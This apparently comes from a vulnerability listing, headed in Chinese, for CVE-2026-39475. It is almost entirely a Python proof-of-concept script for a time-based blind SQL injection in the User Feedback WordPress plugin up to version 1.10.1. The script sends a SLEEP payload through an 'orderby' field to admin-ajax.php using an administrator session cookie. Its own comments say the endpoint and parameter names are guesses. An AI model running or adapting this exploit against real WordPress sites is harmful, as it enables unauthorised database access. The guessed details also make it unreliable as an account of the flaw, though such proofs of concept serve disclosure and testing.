CVE-2026-39475 User Feedback插件SQL注入漏洞

import requests import time # Exploit Title: User Feedback Plugin <= 1.10.1 - Blind SQL Injection (PoC) # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: https://www.userfeedback.com/ # Software Link: https://wordpress.org/plugins/userfeedback-lite/ # Version: <= 1.10.1 # CVE: CVE-2026-39475 def check_sqli(target_url, cookie): """ Tests for Blind SQL Injection using time-based analysis. Note: This requires valid administrator session cookies (PR:H). """ # The vulnerable endpoint might be an AJAX action, e.g., sorting or fetching feedback # Adjust the 'action' and parameter name based on actual plugin behavior payload = { "action": "uf_sort_feedback", "orderby": "id ASC; IF(1=1, SLEEP(5), 0)-- -" } headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (Compatible; PoC-Scanner)", "Content-Type": "application/x-www-form-urlencoded" } try: start_time = time.time() response = requests.post(target_url, data=payload, headers=headers, timeout=10) end_time = time.time() elapsed = end_time - start_time if elapsed >= 5: print(f"[+] Vulnerability Confirmed! Response took {elapsed:.2f} seconds.") print("[+] The application is vulnerable to Blind SQL Injection.") else: print(f"[-] Not vulnerable or payload incorrect. Response took {elapsed:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": # Example usage # Replace with actual target URL and admin cookie target = "http://example.com/wp-admin/admin-ajax.php" admin_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxx" print("[*] Starting CVE-2026-39475 PoC...") check_sqli(target, admin_cookie)